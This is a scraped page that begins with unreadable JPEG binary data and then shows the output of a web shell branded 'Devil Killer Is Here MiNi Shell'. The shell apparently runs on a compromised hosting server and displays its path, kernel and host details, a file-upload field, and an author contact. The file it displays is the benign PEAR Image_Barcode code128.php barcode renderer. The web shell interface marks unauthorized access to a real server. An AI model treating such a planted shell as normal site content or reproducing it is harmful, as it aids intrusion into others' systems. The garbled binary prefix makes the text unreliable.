JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/thread-self/root/usr/local/lib/php-5.3.3/lib/php/Image/Barcode/

Linux boscustweb5006.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //proc/thread-self/root/usr/local/lib/php-5.3.3/lib/php/Image/Barcode/code128.php

<?php
/* vim: set expandtab tabstop=4 softtabstop=4 shiftwidth=4: */

/**
 * Image_Barcode_code128 class
 *
 * Renders Code128 barcodes
 * Code128 is a high density encoding for alphanumeric strings.
 * This module prints the Code128B representation of the most common
 * ASCII characters (32 to 134).
 *
 * These are the components of a Code128 Bar code:
 * - 10 Unit Quiet Zone
 * - 6 Unit Start Character
 * - (n * 6) Unit Message
 * - 6 Unit "Check Digit" Character
 * - 7 Unit Stop Character
 * - 10 Unit Quiet Zone
 *
 * I originally wrote this algorithm in Visual Basic 6 for a Rapid 
 * Software Development class, where we printed Code128 B bar codes
 * to read using Cue Cat bar code readers.  I rewrote the algorithm
 * using PHP for inclusion in the PEAR Image_Barcode project.
 *
 * The Code128B bar codes produced by the algorithm have been validated
 * using my trusty Cue-Cat bar code reader.
 *
 * PHP versions 4
 *
 * LICENSE: This source file is subject to version 3.0 of the PHP license
 * that is available through the world-wide-web at the following URI:
 * http://www.php.net/license/3_0.txt.  If you did not receive a copy of
 * the PHP License and are unable to obtain it through the web, please
 * send a note to license@php.net so we can mail you a copy immediately.
 *
 * @category   Image
 * @package    Image_Barcode
 * @author     Jeffrey K. Brown <jkb@darkfantastic.net>
 * @copyright  2005 The PHP Group
 * @license    http://www.php.net/license/3_0.txt  PHP License 3.0
 * @version    CVS: $Id: code128.php 304741 2010-10-25 09:14:17Z clockwerx $
 * @link       http://pear.php.net/package/Image_Barcode
 */

require_once "Image/Barcode.php";

class Image_Barcode_code128 extends Image_Barcode
{
    var $_type = 'code128';
    var $_barcodeheight = 60;
    var $_font = 2;  
    var $_barwidth = 1;
    var $code;


    /**
     * Draws a Code128 image barcode
     *
     * @param  string $text     A text that should be in the image barcode
     * @param  string $imgtype  The image type that will be generated
     *
     * @return image            The corresponding interleaved 2 of 5 image barcode
     *
     * @access public
     *
     * @author Jeffrey K. Brown <jkb@darkfantastic.net>
     *
     * @internal
     * The draw() method is broken into three sections.  First, we take
     * the input string and convert it to a string of barcode widths.
     * Then, we size and allocate the image.  Finally, we print the bars to
     * the image along with the barcode text and display it to the beholder.
     *
     */
    function &draw($text, $imgtype = 'png')
    {

        // We start with the Code128 Start Code character.  We
        // initialize checksum to 104, rather than calculate it.
        // We then add the startcode to $allbars, the main string
        // containing the bar sizes for the entire code.
        $startcode= $this->getStartCode();
        $checksum = 104;
        $allbars = $startcode;


        // Next, we read the $text string that was passed to the
        // method and for each character, we determine the bar
        // pattern and add it to the end of the $allbars string.
        // In addition, we continually add the character's value
        // to the checksum
        $bars = '';
        for ($i=0; $i < strlen($text); ++$i) {
            $char = $text[$i];
            $val = $this->getCharNumber($char);

            $checksum += ($val * ($i + 1));

            $bars = $this->getCharCode($char);
            $allbars = $allbars . $bars;
        }


        // Then, Take the Mod 103 of the total to get the index
        // of the Code128 Check Character.  We get its bar
        // pattern and add it to $allbars in the next section.
        $checkdigit = $checksum % 103;
        $bars = $this->getNumCode($checkdigit);


        // Finally, we get the Stop Code pattern and put the
        // remaining pieces together.  We are left with the
        // string $allbars containing all of the bar widths
        // and can now think about writing it to the image.

        $stopcode = $this->getStopCode();
        $allbars = $allbars . $bars . $stopcode;

        //------------------------------------------------------//
        // Next, we will calculate the width of the resulting
        // bar code and size the image accordingly.

        // 10 Pixel "Quiet Zone" in front, and 10 Pixel
        // "Quiet Zone" at the end.
        $barcodewidth = 20;


        // We will read each of the characters (1,2,3,or 4) in
        // the $allbars string and add its width to the running
        // total $barcodewidth.  The height of the barcode is
        // calculated by taking the bar height plus the font height.

        for ($i=0; $i < strlen($allbars); ++$i) {
            $nval = $allbars[$i];
            $barcodewidth += ($nval * $this->_barwidth);
        }
        $barcodelongheight = (int) (imagefontheight($this->_font) / 2) + $this->_barcodeheight;


        // Then, we create the image, allocate the colors, and fill
        // the image with a nice, white background, ready for printing
        // our black bars and the text.

        $img = ImageCreate($barcodewidth, $barcodelongheight+ imagefontheight($this->_font)+1);
        $black = ImageColorAllocate($img, 0, 0, 0);
        $white = ImageColorAllocate($img, 255, 255, 255);
        imagefill($img, 0, 0, $white);


        //------------------------------------------------------//
        // Finally, we write our text line centered across the
        // bottom and the bar patterns and display the image.


        // First, print the image, centered across the bottom.
        imagestring(
            $img,
            $this->_font,
            $barcodewidth / 2 - strlen($text) / 2 * (imagefontwidth($this->_font)),
            $this->_barcodeheight + imagefontheight($this->_font) / 2,
            $text,
            $black
        );

        // We set $xpos to 10 so we start bar printing after 
        // position 10 to simulate the 10 pixel "Quiet Zone"
        $xpos = 10;

        // We will now process each of the characters in the $allbars
        // array.  The number in each position is read and then alternating
        // black bars and spaces are drawn with the corresponding width.
        $bar = 1;
        for ($i=0; $i < strlen($allbars); ++$i) {
            $nval = $allbars[$i];
            $width = $nval * $this->_barwidth;

            if ($bar==1) {
                imagefilledrectangle($img, $xpos, 0, $xpos + $width-1, $barcodelongheight, $black);
                $xpos += $width;
                $bar = 0;
            } else {
                $xpos += $width;
                $bar = 1;
            }
        }

        return $img;
    } // function draw()


    /**
    * @internal
    * In the Image_Barcode_code128 constructor, we initialize
    * the $code array, containing the bar and space pattern
    * for the Code128 B character set.
    */
    function Image_Barcode_code128()
    {
        $this->code[0] = "212222";  // " "
        $this->code[1] = "222122";  // "!"
        $this->code[2] = "222221";  // "{QUOTE}"
        $this->code[3] = "121223";  // "#"
        $this->code[4] = "121322";  // "$"
        $this->code[5] = "131222";  // "%"
        $this->code[6] = "122213";  // "&"
        $this->code[7] = "122312";  // "'"
        $this->code[8] = "132212";  // "("
        $this->code[9] = "221213";  // ")"
        $this->code[10] = "221312"; // "*"
        $this->code[11] = "231212"; // "+"
        $this->code[12] = "112232"; // ","
        $this->code[13] = "122132"; // "-"
        $this->code[14] = "122231"; // "."
        $this->code[15] = "113222"; // "/"
        $this->code[16] = "123122"; // "0"
        $this->code[17] = "123221"; // "1"
        $this->code[18] = "223211"; // "2"
        $this->code[19] = "221132"; // "3"
        $this->code[20] = "221231"; // "4"
        $this->code[21] = "213212"; // "5"
        $this->code[22] = "223112"; // "6"
        $this->code[23] = "312131"; // "7"
        $this->code[24] = "311222"; // "8"
        $this->code[25] = "321122"; // "9"
        $this->code[26] = "321221"; // ":"
        $this->code[27] = "312212"; // ";"
        $this->code[28] = "322112"; // "<"
        $this->code[29] = "322211"; // "="
        $this->code[30] = "212123"; // ">"
        $this->code[31] = "212321"; // "?"
        $this->code[32] = "232121"; // "@"
        $this->code[33] = "111323"; // "A"
        $this->code[34] = "131123"; // "B"
        $this->code[35] = "131321"; // "C"
        $this->code[36] = "112313"; // "D"
        $this->code[37] = "132113"; // "E"
        $this->code[38] = "132311"; // "F"
        $this->code[39] = "211313"; // "G"
        $this->code[40] = "231113"; // "H"
        $this->code[41] = "231311"; // "I"
        $this->code[42] = "112133"; // "J"
        $this->code[43] = "112331"; // "K"
        $this->code[44] = "132131"; // "L"
        $this->code[45] = "113123"; // "M"
        $this->code[46] = "113321"; // "N"
        $this->code[47] = "133121"; // "O"
        $this->code[48] = "313121"; // "P"
        $this->code[49] = "211331"; // "Q"
        $this->code[50] = "231131"; // "R"
        $this->code[51] = "213113"; // "S"
        $this->code[52] = "213311"; // "T"
        $this->code[53] = "213131"; // "U"
        $this->code[54] = "311123"; // "V"
        $this->code[55] = "311321"; // "W"
        $this->code[56] = "331121"; // "X"
        $this->code[57] = "312113"; // "Y"
        $this->code[58] = "312311"; // "Z"
        $this->code[59] = "332111"; // "["
        $this->code[60] = "314111"; // "\"
        $this->code[61] = "221411"; // "]"
        $this->code[62] = "431111"; // "^"
        $this->code[63] = "111224"; // "_"
        $this->code[64] = "111422"; // "`"
        $this->code[65] = "121124"; // "a"
        $this->code[66] = "121421"; // "b"
        $this->code[67] = "141122"; // "c"
        $this->code[68] = "141221"; // "d"
        $this->code[69] = "112214"; // "e"
        $this->code[70] = "112412"; // "f"
        $this->code[71] = "122114"; // "g"
        $this->code[72] = "122411"; // "h"
        $this->code[73] = "142112"; // "i"
        $this->code[74] = "142211"; // "j"
        $this->code[75] = "241211"; // "k"
        $this->code[76] = "221114"; // "l"
        $this->code[77] = "413111"; // "m"
        $this->code[78] = "241112"; // "n"
        $this->code[79] = "134111"; // "o"
        $this->code[80] = "111242"; // "p"
        $this->code[81] = "121142"; // "q"
        $this->code[82] = "121241"; // "r"
        $this->code[83] = "114212"; // "s"
        $this->code[84] = "124112"; // "t"
        $this->code[85] = "124211"; // "u"
        $this->code[86] = "411212"; // "v"
        $this->code[87] = "421112"; // "w"
        $this->code[88] = "421211"; // "x"
        $this->code[89] = "212141"; // "y"
        $this->code[90] = "214121"; // "z"
        $this->code[91] = "412121"; // "{"
        $this->code[92] = "111143"; // "|"
        $this->code[93] = "111341"; // "}"
        $this->code[94] = "131141"; // "~"
        $this->code[95] = "114113"; // 95
        $this->code[96] = "114311"; // 96
        $this->code[97] = "411113"; // 97
        $this->code[98] = "411311"; // 98
        $this->code[99] = "113141"; // 99
        $this->code[100] = "114131"; // 100
        $this->code[101] = "311141"; // 101
        $this->code[102] = "411131"; // 102
    }

    /**
    * Return the Code128 code for a character
    */
    function getCharCode($c) {
        $retval = $this->code[ord($c) - 32];
        return $retval;
    }

    /**
    * Return the Start Code for Code128
    */
    function getStartCode() {
        return '211214';
    }

    /**
    * Return the Stop Code for Code128
    */
    function getStopCode() {
        return '2331112';
    }

    /**
    * Return the Code128 code equivalent of a character number
    */
    function getNumCode($index) {
        $retval = $this->code[$index];
        return $retval;
    }

    /**
    * Return the Code128 numerical equivalent of a character.
    */
    function getCharNumber($c) {
        $retval = ord($c) - 32;
        return $retval;
    }

} // class
?>

Creat By MiNi SheLL
Email: devilkiller@gmail.com